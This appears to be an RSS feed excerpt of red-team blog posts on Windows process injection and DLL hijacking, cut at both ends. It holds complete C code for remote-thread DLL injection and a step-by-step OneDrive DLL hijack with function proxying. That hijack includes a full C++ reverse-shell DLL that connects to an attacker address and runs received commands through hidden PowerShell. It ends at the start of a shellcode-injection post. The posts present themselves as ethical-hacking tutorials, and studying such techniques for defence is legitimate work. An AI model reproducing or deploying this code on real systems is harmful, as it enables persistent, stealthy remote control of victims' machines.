&quot;C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll&quot;;<br>    size_t sizedll = sizeof(dllPath);<br><br>    i(&quot;DLL: %s&quot;,dllPath);<br>    i(&quot;size of dllpath: %d\n&quot;, sizedll);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d, error: 0x%lx&quot;, PID, GetLastError());<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %p\n&quot;, AllocBuffer);<br><br><br>    /*Write the dllPath into the buffer*/<br>    i(&quot;Trying to write the dllpath to buffer&quot;);<br>    if (WriteProcessMemory(hProcess, AllocBuffer, dllPath, sizedll, NULL) == 0){<br>        e(&quot;Unable to write the dllPath, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Wrote dllPath to the buffer!\n&quot;);<br><br><br>    /*Getting the handle of the kernel32.dll module*/<br>    i(&quot;Trying to get the handle of kernel32.dll&quot;);<br>    HMODULE hkernel32 = GetModuleHandleA(&quot;Kernel32.dll&quot;);<br>    if (hkernel32 == NULL){<br>        e(&quot;Not Able to get the handle of module,, error: 0x%lx&quot;, GetLastError());<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the module kernel32&quot;);<br>    i(&quot;Module Handle: 0x%p\n&quot;, hkernel32);<br><br><br>    /*Getting the address of LoadLibraryA*/<br>    i(&quot;Trying to get the address of loadlibraryA&quot;);<br>    FARPROC loadlibaddr = GetProcAddress(hkernel32, &quot;LoadLibraryA&quot;);<br>    if (loadlibaddr == NULL){<br>        e(&quot;Failed to retrieve address, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Succesfully retreived the address&quot;);<br>    i(&quot;Address: %p\n&quot;, loadlibaddr);<br><br>    return 0;<br><br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lGq977Yg18p9LknXbQKrxw.png" /></figure><p>Kernel32.dll is a library file containing many functions that can be used in Windows system programming. The LoadLibraryA function is also a part of the Kernel32.dll library, which is why we call Kernel32 to get the address of LoadLibraryA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uBlwxLumYGnkrqZW55NOlA.png" /></figure><p>The functions we have already been using, such as VirtualAlloc, OpenProcess, and GetProcAddress, are also part of the Kernel32.dll. Unlike these functions, we can&#39;t use LoadLibraryA directly in our program, as doing so would call the function within our own program. We will see later how we can call this function through another process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*bh7ZjAq-AIXkcdVXABfQMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*OhTKFEadHY-RkSNio45Pbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WtgrwPuKqfh05UX5rJbEgA.png" /></figure><p>Explore more functions from the link below:</p><p><a href="https://www.geoffchappell.com/studies/windows/win32/kernel32/api/index.htm?ta=11">KERNEL32 Functions</a></p><p>Now, the final step is to invoke a thread in the target process using CreateRemoteThread. You can read more about it in my previous post. The difference is that we will pass the address of the LoadLibraryA function as the starting address, typecasting it with LPTHREAD_START_ROUTINE to align it with the function&#39;s signature.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br><br>#define i(msg, ...) printf(&quot;[*] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define e(msg, ...) printf(&quot;[-] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define s(msg, ...) printf(&quot;[+] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br>#define w(msg, ...) printf(&quot;[!] &quot; msg &quot;\n&quot;, ##__VA_ARGS__)<br><br><br>int main(int argc, char* argv[]){<br><br>    /*Declaring and initializing variables*/<br>    HANDLE hProcess, hThread = NULL;<br>    DWORD PID, TID;<br>    LPVOID AllocBuffer;<br><br> if (argc &lt; 2){<br>  e(&quot;Usage: %s &lt;PID&gt;&quot;, argv[0]);<br>  return 1;<br> }<br>    <br> PID = atoi(argv[1]); //Converting the argument to int<br> i(&quot;Inserted PID: %d\n&quot;, PID);<br><br>    <br>    //initializing dll<br>    char dllPath[] = &quot;C:\\Users\\target\\Desktop\\maldev\\dll-inject\\dll.dll&quot;;<br>    size_t sizedll = sizeof(dllPath);<br><br>    i(&quot;DLL: %s&quot;,dllPath);<br>    i(&quot;size of dllpath: %d\n&quot;, sizedll);<br><br>    /*Getting the handle of a process specified by its PID*/<br>    i(&quot;Trying to get the handle of the Procees: &quot;, PID);<br>    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to get the handle of process %d, error: 0x%lx&quot;, PID, GetLastError());<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the process: %d&quot;, PID);<br>    i(&quot;Processes Handle: 0x%p\n&quot;, hProcess);<br><br><br>    /*Allocating the buffer within the virtual addrress space of the process*/<br>    i(&quot;Trying to Allocate the Buffer of the processes V-Memory..., Handle: 0x%p&quot;,hProcess);<br>    AllocBuffer = VirtualAllocEx(hProcess, NULL, sizedll, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);<br>    if (AllocBuffer == NULL){<br>        e(&quot;Failed to Allocate Buffer, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Succesfully Aloocated the buffer into the Virtual space of the process&quot;);<br>    i(&quot;Address: %p\n&quot;, AllocBuffer);<br><br><br>    /*Write the dllPath into the buffer*/<br>    i(&quot;Trying to write the dllpath to buffer&quot;);<br>    if (WriteProcessMemory(hProcess, AllocBuffer, dllPath, sizedll, NULL) == 0){<br>        e(&quot;Unable to write the dllPath, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Wrote dllPath to the buffer!\n&quot;);<br><br><br>    /*Getting the handle of the kernel32.dll module*/<br>    i(&quot;Trying to get the handle of kernel32.dll&quot;);<br>    HMODULE hkernel32 = GetModuleHandleA(&quot;Kernel32.dll&quot;);<br>    if (hkernel32 == NULL){<br>        e(&quot;Not Able to get the handle of module,, error: 0x%lx&quot;, GetLastError());<br>        return 1;<br>    }<br>    s(&quot;Got the Handle of the module kernel32&quot;);<br>    i(&quot;Module Handle: 0x%p\n&quot;, hkernel32);<br><br><br>    /*Getting the address of LoadLibraryA*/<br>    i(&quot;Trying to get the address of loadlibraryA&quot;);<br>    //LPTHREAD_START_ROUTINE loadlibaddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hkernel32, &quot;LoadLibraryA&quot;);<br>    FARPROC loadlibaddr = GetProcAddress(hkernel32, &quot;LoadLibraryA&quot;);<br>    if (loadlibaddr == NULL){<br>        e(&quot;Failed to retrieve address, error: &quot;,GetLastError);<br>        return 1;<br>    }<br>    s(&quot;Succesfully retreived the address&quot;);<br>    i(&quot;Address: %p\n&quot;, loadlibaddr);<br><br><br>    /*Creating a thread to load the dll*/<br>    i(&quot;Creating a thread&quot;);<br>    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadlibaddr, AllocBuffer, 0, &amp;TID);<br>    if (hProcess == NULL){<br>        e(&quot;Not Able to create the thread %d, error: 0x%lx&quot;, TID, GetLastError());<br>        return 1;<br>    }<br>    s(&quot;Thread ID: %d&quot;, TID);<br>    <br>    WaitForSingleObject(hThread, INFINITE);<br>    CloseHandle(hThread);<br>    CloseHandle(hProcess);<br><br>    return 0;<br>}</pre><p>Before executing, I will first write a simple DLL that will display a message box when loaded. You can refer to my <a href="https://vtfoundation.gitbook.io/red-team/mitre-attacks/ta0003-persistence/dll-hijacking-onedrive">DLL Hijacking</a> post to learn about writing your own DLL.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID LpReserved) {<br>    switch(dwReason) {<br>        case DLL_PROCESS_ATTACH:<br>            char text[50];<br>            sprintf(text, &quot;Called by PID: %u&quot;, GetCurrentProcessId());<br>            MessageBox(NULL, text, &quot;Alert&quot;, MB_ICONEXCLAMATION | MB_OK);<br>        break;<br>    }<br><br>    return 0;<br>}</pre><p>We can put the DLL in the location specified above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D338P5zg8bD1CNBZeb9iWA.png" /></figure><p>To obtain a reverse shell, you can either execute the shellcode in the DLL or write reverse shell code, as we did in the DLL Hijacking post.</p><h3>References</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FJPQWQfDhICA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DJPQWQfDhICA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FJPQWQfDhICA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/fc79a55d11b97ce3a70f4614a8b3114d/href">https://medium.com/media/fc79a55d11b97ce3a70f4614a8b3114d/href</a></iframe><p><a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library">Dynamic link library (DLL) - Windows Client</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F0jX9UoXYLa4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D0jX9UoXYLa4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F0jX9UoXYLa4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/febd46dd93eaaacfb029ebd7d379bbd8/href">https://medium.com/media/febd46dd93eaaacfb029ebd7d379bbd8/href</a></iframe><p><a href="https://learn.microsoft.com/en-us/windows/win32/dlls/load-time-dynamic-linking">Load-Time Dynamic Linking - Win32 apps</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FA6EKDAKBXPs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DA6EKDAKBXPs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FA6EKDAKBXPs%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/035057eac99d0a411b5aa3e3abe49797/href">https://medium.com/media/035057eac99d0a411b5aa3e3abe49797/href</a></iframe><p><a href="https://tryhackme.com/room/abusingwindowsinternals">TryHackMe | Cyber Security Training</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60cc0d86a7bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DLL Hijacking — OneDrive]]></title>
            <link>https://ainkun.medium.com/dll-hijacking-onedrive-73f06ce102ce?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/73f06ce102ce</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[persistence]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Tue, 29 Aug 2023 10:19:25 GMT</pubDate>
            <atom:updated>2026-10-12T08:20:17.868Z</atom:updated>
            <content:encoded><![CDATA[<h3>DLL Hijacking — OneDrive</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*DwQiNx4Yis2vXYjHN8OFiw.gif" /></figure><p>I plan to perform DLL Hijacking chaining with DLL Proxying on a target DLL that the onedrive application loads in order to utilize its functions.</p><h3>Setup:</h3><ol><li><strong>Linux environment(Attacker)</strong></li></ol><ul><li>Python</li><li>netcat</li></ul><p>2. <strong>Windows environment(Target)</strong></p><ul><li>Disabled windows defender</li><li>Compromised using initial access</li><li>OneDrive Installed</li><li>MinGW-w64 compiler</li><li>Microsoft SysInternals Suite</li></ul><p>Link to download the SysInternals Suite:</p><p><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/">Sysinternals Utilities - Sysinternals</a></p><p>Link to download the MinGW Compilers:</p><p><a href="https://winlibs.com/#download-release">WinLibs - GCC+MinGW-w64 compiler for Windows</a></p><p>Follow the below tutorial to install and setup the mingw compilers on your windows machine:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FghikMomksCc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DghikMomksCc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FghikMomksCc%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/73d4a4e7497486ed5881707e501ad981/href">https://medium.com/media/73d4a4e7497486ed5881707e501ad981/href</a></iframe><h3>Overview on DLL Hijacking</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*HkQHQe6F_B7gAr_S.jpg" /></figure><p>DLL hijacking is a method used by malicious actors to exploit the loading process of a program by replacing a legitimate DLL with a malicious one. This occurs when the program searches for its required DLL file in various locations specified by the &quot;PATH&quot; environmental variable. By strategically placing a file with the same name as the targeted DLL in a location where the program checks but does not find its original DLL, the malicious DLL is loaded instead. This is called DLL Search Order Hijacking. Once loaded, the malicious code within the DLL can be executed effectively.</p><p>Read more about it here:</p><p><a href="https://attack.mitre.org/techniques/T1574/001/">Hijack Execution Flow: DLL Search Order Hijacking</a></p><h3>Method and working</h3><p>Before setting the attack target on OneDrive, let’s first try to understand the workings of this method. We are going to start by writing a loader program, whose sole function is to load a specified DLL.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>int main(int argc, char* argv[]) {<br><br>    LPCSTR dll_name;<br><br>    // exception<br>    if (argc &lt; 2) {<br>        printf(&quot;[!] Run : dll-loader.exe &lt;file.dll&gt;\n&quot;);<br>        return 1;<br>    }<br><br>    // get parsed file<br>    dll_name = argv[1];<br>    printf(&quot;[*] Loading : %s...\n&quot;, dll_name);<br><br>    // load dll<br>    HMODULE hDll;<br>    hDll = LoadLibraryA(dll_name);<br><br>    return 0;<br><br>}</pre><p>This program simply asks for the name of the DLL to load as an argument and passes it into the function LoadLibraryA to load the DLL into the address space of the process. You can read more about it from the following link:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya">LoadLibraryA function (libloaderapi.h) - Win32 apps</a></p><p>Compile the program from the command below:</p><pre>gcc -o dll-loader.exe .\dll-loader.c</pre><p>Before execution, initiate ‘Process Monitor’ (Procmon) and add the following entries click on apply to filter out irrelevant events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*hWySGvBLXpOpxcw-XJI3fw.png" /></figure><p>Now execute the loader with any random DLL name and observe Procmon.</p><pre>.\dll-loader.exe test.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1dizIe-DSW2WWBnjuuqwg.png" /></figure><p>We are aware that test.dll is not located anywhere in the system. Our loader first looks for the DLL in its own directory location, and then systematically checks for the DLL in every directory specified in the PATH environmental variable.</p><p>Now, we are going to write a simple DLL that displays a message box with our custom message as soon as the library is loaded into the process.</p><pre>#include &lt;windows.h&gt;<br><br>BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID LpReserved) {<br>    switch(dwReason) {<br>        case DLL_PROCESS_ATTACH:<br>            MessageBox(NULL, &quot;HIJACKED!!&quot;, &quot;Alert&quot;, MB_ICONEXCLAMATION | MB_OK);<br>        break;<br>    }<br><br>    return TRUE;<br>}</pre><p>This is a simple DLL which, when loaded by a process, displays a message box on the screen. You can learn more about this function and how to customize it from the following link:</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox">MessageBox function (winuser.h) - Win32 apps</a></p><p>Read further on the basics of creating a DLL file here:</p><p><a href="https://www.tutorialspoint.com/dll/dll_writing.htm">DLL - How to Write</a></p><p>Compile and execute the program:</p><pre>gcc -shared -o test.dll test.c<br>.\dll-loader.exe test.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RYtH4RtJK7Jn2W30f7VlLQ.png" /></figure><p>The loader first looks for the DLL in its own directory, and since we compiled it in the same directory, it loads the DLL, resulting in the message box popping up.</p><h3>Attacking OneDrive</h3><p>Now we can attempt to make the actual application behave similarly. I chose OneDrive because it is preinstalled in most Windows operating systems and is often set up as a startup application. These features make it a suitable target for persistence.</p><h4>1. Finding the Target DLL</h4><p>To monitor processes on a Windows machine, Microsoft provides a utility called “Procmon.” It is part of the “Sysinternals suite”.</p><p>To initiate the monitoring process, run the “Procmon” application with administrative privileges. Ensure that you start it as an administrator to access all the necessary system information and perform comprehensive process monitoring.</p><p>Follow the steps given below to list down all the potential target dlls:</p><ol><li>Click on the filter icon to pop up the “Process Monitor Filter” box.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*3rC-yYkPXu9wShBYzRUFBQ.png" /></figure><p>2. Add the below listed entries to filter out the irrelevant process entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*K8s6pGSsd57FfYpGBZ3--g.png" /></figure><p>The final entry is where we place the home folder of the OneDrive application.</p><p>3. Click apply and start the OneDrive program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Vv-x5nYVmHsHQbyHqkyqA.png" /></figure><p>We will be targeting cscapi.dll for this task and placing our malicious DLL in the OneDrive&#39;s home folder, renaming it to cscapi.dll. This will deceive the program into loading our DLL.</p><h4>2. Loading the DLL</h4><p>We will use the same DLL that we used earlier to display the message box. By renaming it to cscapi.dll and copying it to the home folder of the OneDrive application, we can proceed.</p><p><strong>OneDrive’s Home Folder</strong>: C:\Users\target\AppData\Local\Microsoft\OneDrive</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CrSSen4eR9iv6rOf7w8HzQ.png" /></figure><pre>cp .\test.dll C:\Users\target\AppData\Local\Microsoft\OneDrive\cscapi.dll</pre><p>Now lets kill the existing onedrive process and restart it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*if1tPXguRLoeqdz09EFDVw.png" /></figure><pre>taskkill.exe /im onedrive.exe /f<br>&amp; &quot;C:\Users\target\AppData\Local\Microsoft\OneDrive\OneDrive.exe&quot;</pre><h4>3. Proxy the DLL</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Au2Qd1uOIvsUmUuKRCOsw.png" /></figure><p>The DLL files contain essential functions that programs use to provide various functionalities. In the above example, when the OneDrive application loads our hijacked DLL, it also calls functions that were originally present but now fail due to the hijacking. As a result, many programs crash or exhibit abnormal behavior, leaving an indication that something malicious is occurring. To counteract this behavior, we can write our DLL in a way that it acts as a proxy for the original DLL’s functions, essentially creating a man-in-the-middle scenario.</p><p>First, let’s extract all the exported functions from the original DLL using a tool provided within the MinGW suite called gendef.exe.</p><p>This tool can parse all the exported functions and save them into a file with the .def extension. Copy the original cscapi.dll file into your working folder and execute the program on it.</p><p><strong>Original cscapi.dll location</strong>: C:\Windows\System32\cscapi.dll</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0LFyGXujP55qcd9GNYKt0w.png" /></figure><p>Let’s add these function definitions to our malicious DLL in a way that the function calls are proxied to the original DLL.</p><p>Make these changes to the generated .def file.</p><pre>EXPORTS<br>CscNetApiGetInterface=cscapii.CscNetApiGetInterface<br>CscSearchApiGetInterface=cscapii.CscSearchApiGetInterface<br>OfflineFilesEnable=cscapii.OfflineFilesEnable<br>OfflineFilesGetShareCachingMode=cscapii.OfflineFilesGetShareCachingMode<br>OfflineFilesQueryStatus=cscapii.OfflineFilesQueryStatus<br>OfflineFilesQueryStatusEx=cscapii.OfflineFilesQueryStatusEx<br>OfflineFilesStart=cscapii.OfflineFilesStart</pre><p>Compile it using the command below</p><pre>gcc -shared -o test.dll test.c cscapi.def -s</pre><p>We can verify the function by again using the gendef.exe tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gsG8gy389fz-6kCHZzbXLA.png" /></figure><p>Now, what we are going to do is copy our crafted malicious DLL and the original DLL into the home directory of OneDrive. We will rename the original DLL to cscapii.dll with double &#39;i&#39;s and name our malicious DLL as cscapi.dll. This will deceive the program into loading our manipulated DLL and proxying every function call to cscapii.dll, which is our original DLL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HWOMs65cSEd3M4p2-aE_5Q.png" /></figure><p>It calls the original DLL as well.</p><h4>4. Getting a Reverse Shell</h4><p>Now all that’s left is to add the shellcode or our own reverse shell code into the DLL.</p><p>I have hardcoded a reverse shell code into the DLL, which executes as soon as the library is loaded.</p><pre>#include &lt;iostream&gt;<br>#include &lt;winsock2.h&gt;<br>#include &lt;ws2tcpip.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;string&gt;<br>#include &lt;cstdio&gt;<br><br>//#pragma comment(lib, &quot;ws2_32.lib&quot;)<br><br>extern &quot;C&quot; __declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)<br>{<br>    switch (fdwReason)<br>    {<br>    case DLL_PROCESS_ATTACH:<br>    {<br>        WSADATA wsaData;<br>        if (WSAStartup(MAKEWORD(2, 2), &amp;wsaData) != 0)<br>        {<br>            return FALSE;<br>        }<br><br>        std::string ip = &quot;192.168.100.101&quot;;<br>        int port = 4443;<br>        std::string prompt = &quot;PS Shell $ &quot;;<br><br>        SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);<br>        if (sock == INVALID_SOCKET)<br>        {<br>            WSACleanup();<br>            return FALSE;<br>        }<br><br>        sockaddr_in serverAddress{};<br>        serverAddress.sin_family = AF_INET;<br>        serverAddress.sin_port = htons(port);<br>        inet_pton(AF_INET, ip.c_str(), &amp;(serverAddress.sin_addr));<br><br>        while (true)<br>        {<br>            if (connect(sock, reinterpret_cast&lt;sockaddr*&gt;(&amp;serverAddress), sizeof(serverAddress)) != SOCKET_ERROR)<br>            {<br>                break;<br>            }<br>        }<br><br>        while (true)<br>        {<br>            send(sock, prompt.c_str(), prompt.length(), 0);<br><br>            char recvBuffer[1024];<br>            int bytesRead = recv(sock, recvBuffer, sizeof(recvBuffer) - 1, 0);<br>            if (bytesRead &lt;= 0)<br>            {<br>                break;<br>            }<br><br>            recvBuffer[bytesRead] = &#39;\0&#39;;<br><br>            std::string args(recvBuffer);<br><br>            FILE* pipe = _popen((&quot;powershell.exe -WindowStyle Hidden /c &quot; + args).c_str(), &quot;r&quot;);<br>            if (pipe != nullptr)<br>            {<br>                std::string cmdResult;<br>                char buffer[128];<br><br>                while (fgets(buffer, sizeof(buffer), pipe) != nullptr)<br>                {<br>                    cmdResult += buffer;<br>                }<br><br>                _pclose(pipe);<br><br>                send(sock, cmdResult.c_str(), cmdResult.length(), 0);<br>            }<br>        }<br><br>        closesocket(sock);<br>        WSACleanup();<br><br>        break;<br>    }<br>    case DLL_PROCESS_DETACH:<br>        break;<br>    }<br><br>    return TRUE;<br>}</pre><p>Compile the program.</p><pre>g++ -shared -o cscapi.dll rev.cpp cscapi.def -lws2_32</pre><p>Now copy the compiled DLL into OneDrive’s home folder. Terminate any already running OneDeives’ processes. Set up the listener on the target machine and then restart the OneDrive application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPhhO5PLoj5_4FrE_WnPAw.png" /></figure><p>We got our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UAii2XqH-jR2GIqdVMHNw.png" /></figure><p>What I’ve noticed is that every time the DLL loads, OneDrive also doesn’t start as the execution flow doesn’t allow it, preventing the function proxy from taking place. To counter this, we can write the DLL in a way that it creates a separate thread to perform the malicious actions, allowing the program flow to continue.</p><h3>References</h3><ul><li><a href="https://huskyhacks.dev/2021/08/29/dll-hijacking-dll-proxying-an-snes-emulator/">DLL Hijacking &amp;amp; DLL Proxying An SNES Emulator</a></li><li><a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking">Dll Hijacking | HackTricks</a></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F3eROsG_WNpE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D3eROsG_WNpE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F3eROsG_WNpE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/564ae53e4f1a8dfe7bede5ed736eedaf/href">https://medium.com/media/564ae53e4f1a8dfe7bede5ed736eedaf/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FARu5l5dS5gM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DARu5l5dS5gM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FARu5l5dS5gM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/db243aa35af5cfb898802bff52de977d/href">https://medium.com/media/db243aa35af5cfb898802bff52de977d/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FoAkuhgOF7sE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoAkuhgOF7sE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FoAkuhgOF7sE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/27a7bb067c1afc55f23103b18a4d3b1b/href">https://medium.com/media/27a7bb067c1afc55f23103b18a4d3b1b/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73f06ce102ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shellcode Injection]]></title>
            <link>https://ainkun.medium.com/shellcode-injection-ae82737d8f65?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae82737d8f65</guid>
            <category><![CDATA[shellcode-injection]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[defense-evasion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[process-injection]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Tue, 29 Aug 2023 09:16:53 GMT</pubDate>
            <atom:updated>2023-09-06T07:54:25.615Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TSBkFIBnydQuAESG.png" /></figure><h3>Overview</h3><p>In this post, we will attempt to perform Shellcode Injection into a separate process. This technique is also known as “Portable Executable Injection” in the MITRE ATT&amp;CK Framework. It falls under the category of “Process injection,” which is a method used to evade defenses. This technique is part of the “Defense Evasion” tactic.</p><h4>Technique: Process Injection — T1055</h4><p>Process Injection is a technique employed by malicious actors to bypass detection and gain higher privileges. This method entails injecting malicious arbitrary code into an isolated process that operates within a Windows environment and subsequently executing it. For more detailed information, refer to the link provided below:</p><p><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></p><h4>Sub-Technique: Portable Executable Injection — T1055.002</h4><p>PE(Portable Executable) injection is performed by copying the code into virtual address sapce of the target process and executing it via a new thread. For more detailed information, refer to the link provided below:</p><p><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a></p><p>The general steps for this technique to work are as follows:</p><ol><li>Obtain the handle of the already running process.</li><li>Allocate a buffer in the memory of the process.</li><li>Write the shellcode into the buffer.</li><li>Invoke a thread to execute the contents that were written into the 